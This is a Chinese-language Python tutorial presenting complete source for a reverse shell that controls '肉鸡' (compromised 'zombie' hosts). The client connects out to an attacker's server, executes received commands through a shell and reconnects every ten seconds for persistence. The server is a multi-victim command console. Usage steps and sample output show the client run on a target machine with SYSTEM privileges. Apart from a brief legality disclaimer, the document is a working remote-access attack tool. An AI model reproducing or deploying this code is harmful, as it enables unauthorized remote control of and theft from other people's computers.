Python实例题：Python3实现可控制肉鸡的反向Shell

Python实例题

题目

Python3实现可控制肉鸡的反向Shell

代码实现

reverse_shell_client.py

import socket
import subprocess
import os
import sys
import platform
import threading
import timeclass ReverseShellClient:def __init__(self, server_host, server_port):self.server_host = server_hostself.server_port = server_portself.client = Noneself.connected = Falseself.system_info = f"{platform.system()} {platform.release()} ({platform.machine()})"def connect(self):"""连接到服务端"""try:self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.client.connect((self.server_host, self.server_port))self.connected = True# 发送系统信息self.client.send(self.system_info.encode())print(f"[+] 已连接到服务端: {self.server_host}:{self.server_port}")# 启动接收命令的线程command_thread = threading.Thread(target=self.receive_commands)command_thread.daemon = Truecommand_thread.start()# 保持主线程运行while self.connected:time.sleep(1)except Exception as e:print(f"[-] 连接失败: {e}")self.disconnect()def receive_commands(self):"""接收并执行服务端发送的命令"""while self.connected:try:command = self.client.recv(1024).decode()if command.lower() == "exit":self.disconnect()breakif command:# 执行命令并获取输出output = self.execute_command(command)# 发送输出到服务端self.client.send(output.encode())except Exception as e:print(f"[-] 接收命令失败: {e}")self.disconnect()breakdef execute_command(self, command):"""执行命令并返回输出"""try:# 处理cd命令if command.startswith("cd "):directory = command[3:].strip()if os.path.exists(directory) and os.path.isdir(directory):os.chdir(directory)return f"已切换到目录: {os.getcwd()}"else:return f"目录不存在: {directory}"# 执行其他命令output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)return output.decode(errors="ignore")except Exception as e:return str(e)def disconnect(self):"""断开与服务端的连接"""self.connected = Falseif self.client:self.client.close()self.client = Noneprint("[+] 已断开连接")if __name__ == "__main__":if len(sys.argv) != 3:print(f"用法: {sys.argv[0]} <服务端地址> <服务端端口>")sys.exit(1)server_host = sys.argv[1]server_port = int(sys.argv[2])# 持久化连接（尝试在断开后重新连接）while True:client = ReverseShellClient(server_host, server_port)client.connect()print(f"[+] 尝试在10秒后重新连接...")time.sleep(10)

reverse_shell_server.py

import socket
import threading
import sys
import os
import timeclass ReverseShellServer:def __init__(self, host, port):self.host = hostself.port = portself.server = Noneself.clients = {}  # 存储已连接的客户端self.client_id = 0  # 客户端ID计数器def start(self):"""启动服务端"""try:self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.server.bind((self.host, self.port))self.server.listen(5)print(f"[+] 服务端已启动，监听地址: {self.host}:{self.port}")# 启动接受客户端连接的线程accept_thread = threading.Thread(target=self.accept_connections)accept_thread.daemon = Trueaccept_thread.start()# 启动命令行界面self.command_interface()except Exception as e:print(f"[-] 启动服务端失败: {e}")if self.server:self.server.close()sys.exit(1)def accept_connections(self):"""接受客户端连接"""while True:try:client_socket, client_address = self.server.accept()print(f"[+] 新连接来自: {client_address}")# 为新客户端分配IDself.client_id += 1client_info = {"socket": client_socket,"address": client_address,"id": self.client_id}self.clients[self.client_id] = client_info# 启动处理客户端命令的线程client_thread = threading.Thread(target=self.handle_client, args=(client_info,))client_thread.daemon = Trueclient_thread.start()except Exception as e:print(f"[-] 接受连接失败: {e}")def handle_client(self, client_info):"""处理客户端命令和响应"""client_id = client_info["id"]client_socket = client_info["socket"]try:# 获取客户端系统信息client_info["system_info"] = client_socket.recv(1024).decode()print(f"[+] 客户端 {client_id} 系统信息: {client_info['system_info']}")while True:# 如果当前选中该客户端，则等待命令输入if self.current_client == client_id:command = input(f"[客户端 {client_id}] $ ")if command.lower() == "exit":client_socket.send(command.encode())breakif command.lower() == "back":self.current_client = Nonecontinueif command:client_socket.send(command.encode())response = client_socket.recv(4096).decode()print(response)else:# 否则等待一小段时间再检查time.sleep(0.1)except Exception as e:print(f"[-] 与客户端 {client_id} 通信失败: {e}")finally:# 关闭连接并从客户端列表中移除client_socket.close()if client_id in self.clients:del self.clients[client_id]print(f"[+] 客户端 {client_id} 连接已关闭")def command_interface(self):"""命令行界面"""self.current_client = Nonewhile True:try:if self.current_client is None:command = input("[主控制台] $ ").strip().lower()if command == "list":self.list_clients()elif command.startswith("select "):try:client_id = int(command.split()[1])if client_id in self.clients:self.current_client = client_idprint(f"[+] 已选中客户端 {client_id}")else:print("[-] 无效的客户端ID")except ValueError:print("[-] 客户端ID必须是整数")elif command == "exit":# 关闭所有客户端连接for client_id in list(self.clients.keys()):try:self.clients[client_id]["socket"].send("exit".encode())self.clients[client_id]["socket"].close()except:passdel self.clients[client_id]self.server.close()print("[+] 服务端已关闭")breakelif command == "help":self.print_help()else:print("[-] 未知命令。输入 'help' 获取帮助。")except KeyboardInterrupt:print("\n[-] 检测到Ctrl+C，输入 'exit' 退出")def list_clients(self):"""列出所有已连接的客户端"""print("[+] 已连接的客户端:")print("ID\t地址\t\t系统信息")print("-" * 50)for client_id, client_info in self.clients.items():addr = f"{client_info['address'][0]}:{client_info['address'][1]}"sys_info = client_info.get("system_info", "未知")print(f"{client_id}\t{addr}\t{sys_info}")def print_help(self):"""打印帮助信息"""print("可用命令:")print("  list               - 列出所有已连接的客户端")print("  select <id>        - 选择要控制的客户端")print("  exit               - 退出程序")print("  help               - 显示此帮助信息")print("\n客户端控制模式下的命令:")print("  任何命令           - 在客户端执行命令")print("  back               - 返回主控制台")print("  exit               - 关闭与客户端的连接")if __name__ == "__main__":if len(sys.argv) != 3:print(f"用法: {sys.argv[0]} <监听地址> <监听端口>")sys.exit(1)host = sys.argv[1]port = int(sys.argv[2])server = ReverseShellServer(host, port)server.start()

实现原理

这个反向 Shell 工具基于以下核心技术实现：

反向连接机制：
- 客户端主动连接到服务端
- 适合在目标主机位于防火墙后或 NAT 设备之后的情况
- 服务端可以同时管理多个客户端连接
命令执行与传输：
- 服务端发送命令到客户端
- 客户端执行命令并返回结果
- 使用线程处理多个客户端连接
功能特点：
- 支持多客户端管理
- 获取客户端系统信息
- 支持基本文件操作（cd 命令）
- 断线自动重连（客户端）

关键代码解析

服务端命令处理

def handle_client(self, client_info):client_id = client_info["id"]client_socket = client_info["socket"]try:client_info["system_info"] = client_socket.recv(1024).decode()print(f"[+] 客户端 {client_id} 系统信息: {client_info['system_info']}")while True:if self.current_client == client_id:command = input(f"[客户端 {client_id}] $ ")if command.lower() == "exit":client_socket.send(command.encode())breakif command.lower() == "back":self.current_client = Nonecontinueif command:client_socket.send(command.encode())response = client_socket.recv(4096).decode()print(response)else:time.sleep(0.1)except Exception as e:print(f"[-] 与客户端 {client_id} 通信失败: {e}")finally:client_socket.close()if client_id in self.clients:del self.clients[client_id]print(f"[+] 客户端 {client_id} 连接已关闭")

客户端命令执行

def execute_command(self, command):try:# 处理cd命令if command.startswith("cd "):directory = command[3:].strip()if os.path.exists(directory) and os.path.isdir(directory):os.chdir(directory)return f"已切换到目录: {os.getcwd()}"else:return f"目录不存在: {directory}"# 执行其他命令output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)return output.decode(errors="ignore")except Exception as e:return str(e)

客户端持久化连接

# 持久化连接（尝试在断开后重新连接）
while True:client = ReverseShellClient(server_host, server_port)client.connect()print(f"[+] 尝试在10秒后重新连接...")time.sleep(10)

使用说明

启动服务端：

python3 reverse_shell_server.py 0.0.0.0 9999

启动客户端（在目标机器上）：

python3 reverse_shell_client.py <服务端IP> 9999

服务端操作：

[主控制台] $ list
[+] 已连接的客户端:
ID	地址		系统信息
--------------------------------------------------
1	192.168.1.100:54321	Windows 10 (AMD64)[主控制台] $ select 1
[+] 已选中客户端 1
[客户端 1] $ whoami
nt authority\system
[客户端 1] $ dirVolume in drive C has no label.Volume Serial Number is 1234-5678Directory of C:\Users\Administrator01/01/2023  08:00 AM    <DIR>          .
01/01/2023  08:00 AM    <DIR>          ..
01/01/2023  08:00 AM             1,234 document.txt
...

注意事项

合法性：
- 此工具仅用于合法的安全测试和授权的渗透测试
- 在使用前必须获得系统所有者的明确授权
- 未经授权使用此工具可能违反法律
安全风险：
- 此工具可能被用于恶意目的
- 请妥善保管，避免未授权访问
- 建议在受控环境中测试
改进建议：
- 添加加密通信（SSL/TLS）
- 实现命令历史记录
- 添加文件上传 / 下载功能
- 实现更复杂的权限控制
- 添加心跳机制检测连接状态